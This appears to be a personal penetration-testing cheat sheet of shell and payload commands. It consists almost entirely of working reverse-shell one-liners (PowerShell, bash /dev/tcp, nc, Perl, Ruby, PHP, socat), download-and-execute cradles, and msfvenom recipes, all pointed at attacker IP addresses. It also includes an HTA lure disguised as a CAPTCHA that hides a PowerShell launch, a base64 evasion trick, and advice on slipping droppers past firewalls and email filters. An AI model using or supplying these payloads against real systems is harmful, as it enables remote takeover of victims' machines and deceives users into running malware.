N1NJ10

Shell & Payloads

Resources

Cheat sheet

Commnads

  • Shells
    • Windows
      • Nikal Powershell oneliner 
        $client = New-Object System.Net.Sockets.TCPClient('192.168.99.23',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
      • Conptyshell 
        # Attacker 
stty raw -echo; (stty size; cat) | nc -lvnp 7777
 
# Victum
iex (New-Object Net.Webclient).DownloadString("http://192.168.99.23/Invoke-ConPtyShell.ps1"); Invoke-ConPtyShell 192.168.99.23 7777
      • Invoke-PowerShellTCP 
        powershell -ep bypass "IEX(New-Object Net.WebClient).DownloadString('http://192.168.99.23/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.99.23 -Port 4444"
      • Powercat 
        IEX(New-Object Net.WebClient).DownloadString('http://192.168.99.23/powercat.ps1')
powercat -c 192.168.99.23 -p 1234 -ep
powercat -c 192.168.99.23 -p 1234 -e cmd
powercat -l -p 1234 -ep
      • MSF 
        # EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.23 LPORT=4444 -f exe > meterpreter.exe # Then to the use exploit/multi/handler
# PS1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.23 LPORT=4444 -f psh > Payload.ps1
powershell -ep bypass -f payload.ps1
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.99.23/payload.ps1')"
 
# Batch 
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
# HTA (https://gist.github.com/iknowjason/08d452e059ec43fa4efdb59ddb0da3e7)
use exploit/windows/misc/hta_server
mshta.exe http://192.168.99.23:8080/5uODZ5KLqsLXS.hta
# MSI
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi
msiexec /q /i http://192.168.1.109/1.msi
 
# Handler 
use exploit/multi/script/web delivery
        • Sample HTA Payload 
          <html>
<head>
<title>Verify you are human</title>
<HTA:application
applicationname="CAPTCHA"
border="thin"
borderstyle="complex"
caption="yes"
showintaskbar="yes"
windowstate="normal"
/>
 
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -e JABjAKQA=" , 0, False
</script>
</head>
<body style="background-color: black; color:white; text-align:center; font-family:'Consolas';" >
<h2>CAPTCHA</h2>
<img
  src="https://photo"
  style="width:400px; border:2px solid white; margin-top:20px;"
  alt="Hackerman loading....">
<p><i>Please check Your Netcat</i></p>
</body>
</html>
    • Linux
      • MSF 
        msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.99.23 LPORT=4444 -f elf > meterpreter.elf # Then to the use exploit/multi/handler
 
use exploit/multi/script/web delivery
      • Bash 
        # Mkfifo
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 7777 > /tmp/f
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 192.168.99.24 7777 > /tmp/f
Attacker input → nc → pipe → bash → nc → attacker output.
 
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | (exec 3<>/dev/tcp/10.129.41.200/7777; cat >&3; cat <&3 > /tmp/f)
 
# Redirection 
bash -i >& /dev/tcp/192.168.99.23/1234 0>&1
 
# Bash TCP
exec 5<>/dev/tcp/192.168.99.23/1234
cat <&5 | while read line; do $line 2>&5 >&5; done
# Tips & Tricks 
	# Find if the port is used 
fuser -k 46840/tcp
	# Evasion
echo "base64" | base64 -d | /bin/bash
    • Generators
  • TTY
    • Programming 
      # Recon
which python python2 python3 perl ruby php wsh bash sh
 
# Python 2.x
python -c 'import pty; pty.spawn("/bin/bash")'
# Python 3.x
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Perl 
perl -e 'use Socket;$i="192.168.99.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# Ruby 
ruby -rsocket -e'f=TCPSocket.open("192.168.99.23",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# PHP
php -r '$sock=fsockopen("192.168.99.23",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# sh
/bin/sh -i
    • Socat 
      # Victum
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.23:4444
 
# Attacker 
socat file:`tty`,raw,echo=0 tcp-listen:4444
    • Post TTY 
      # Stablish 
script -q -c /bin/bash /dev/null
# Press Ctrl+Z to background the shell
 
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
# Disable local output in terminal
stty raw -echo; fg
# Press Enter twice
reset
# Set rows and columns for proper text aligning
stty rows ${ROWS} cols ${COLS}
# For CTRL-L to work
export TERM=xterm / xterm-color / xterm-256color
# (optional) Get Bash new process image
exec /bin/bash -l
    • script 
      script -q -c /bin/bash /dev/null
    • rlwrap 
      rlwrap nc -lvnp 4444
    • Shell 2 meterpreter 
      # In Metasploit, after getting a basic shell:
use post/multi/manage/shell_to_meterpreter
set SESSION 1  # Replace with your session ID
set LHOST ATTACKER_IP
set LPORT 4433
run
    • Tmux 
      tmux new-session -s hack
tmux attach -t hack
    • Screen 
      screen -S hack
screen -r hack
    • penelop 
      pipx install git+https://github.com/brightio/penelope
penelope -p 4444

run peass_ng
    • Pwncat 
      pwncat 192.168.99.25 1234
pwncat -l 1234
    • xxh 
      pipx install xxh-xxh
xxh root@192.168.99.24 +s zsh +I xxh-plugin-zsh-ohmyzsh +if +q 
ssh root@192.168.99.24 -f 'rm -rf .xxh'

Tools

Notes

Don't use rlwrap with Post TTY section

If you know there is aggressive NGFW and Email Filters, don’t burn your whole payload. Burn a dropper. It’s much easier to recompile your dropper and obfuscate the small portion of code that is being flagged than it is to re-encode your shellcode and write a new decoding function for your stageless payload.

Updates

Get Updated

Notes Feed

Subscribe by email to get notified when new notes or major revisions are published.

New pagesMajor revisionsDirect inbox

This opens a prepared subscription email to the notes updates inbox.

Graph View

Backlinks